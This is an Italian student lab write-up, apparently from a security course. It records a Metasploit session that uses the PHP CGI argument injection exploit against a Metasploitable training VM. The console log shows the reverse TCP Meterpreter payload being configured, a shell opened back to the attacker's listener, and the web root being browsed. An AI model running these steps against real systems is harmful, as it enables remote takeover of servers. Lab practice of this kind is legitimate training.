

PRATICA S7L3

La nostra versione di metasploitable non sembra essere soggetta alla vulnerabilità descritta nella consegna dell'esercizio, quindi su consiglio dell'insegnante andiamo a provare il seguente exploit:

```
Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/multi/http/php_cgi_arg_injection  2012-05-03      excellent Yes     PHP CGI Argument Injection

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/php_cgi_arg_injection

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name      Current Setting  Required  Description
--      -
PLESK      false           yes       Exploit Plesk
Proxies    no              no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      80              yes       The target port (TCP)
SSL        false           no        Negotiate SSL/TLS for outgoing connections
TARGETURI  0               no        The URI to request (must be a CGI-handled PHP script)
URIENCODING 0              yes       Level of URI URLENCODING and padding (0 for minimum)
VHOST      no              no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.1.212   yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.1.212:4444
[*] Sending stage (39927 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.212:4444 -> 192.168.1.149:43392) at 2023-11-08 15:32:28 +0100

meterpreter > ls
Listing: /var/www

Mode                Size                Type                Last modified          Name
----                -
041777/rwxrwxrwx    17592186048512     dir                182042302250-03-10 16:10:13 +0100     dav
040755/rwxr-xr-x    17592186048512     dir                182042482449-05-12 17:17:21 +0200     dvwa
100644/rw-r--r--    3826815861627      fil                182042311505-02-18 00:13:29 +0100     index.php
040755/rwxr-xr-x    17592186048512     dir                181964996940-05-31 20:38:18 +0200     mutillidae
040755/rwxr-xr-x    17592186048512     dir                181964937872-02-08 19:03:20 +0100     phpMyAdmin
100644/rw-r--r--    81604378643        fil                173039983614-08-05 08:08:28 +0200     phpinfo.php
040755/rwxr-xr-x    17592186048512     dir                181965051925-08-30 19:04:46 +0200     test
040775/rwxrwxr-x    87960930242560     dir                173083439924-11-22 13:50:32 +0100     tikiwiki
040775/rwxrwxr-x    87960930242560     dir                173040024853-07-12 00:58:19 +0200     tikiwiki-old
040755/rwxr-xr-x    17592186048512     dir                173046477589-12-24 22:59:26 +0100     twiki

meterpreter > pwd
/var/www
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter  : php/linux
```

Sfruttando la vulnerabilità siamo quindi entrati nella directory principale del Web Server. Questa è una vulnerabilità critica perché potremmo alterare i contenuti del sito per tutti gli utenti che andranno a visitarlo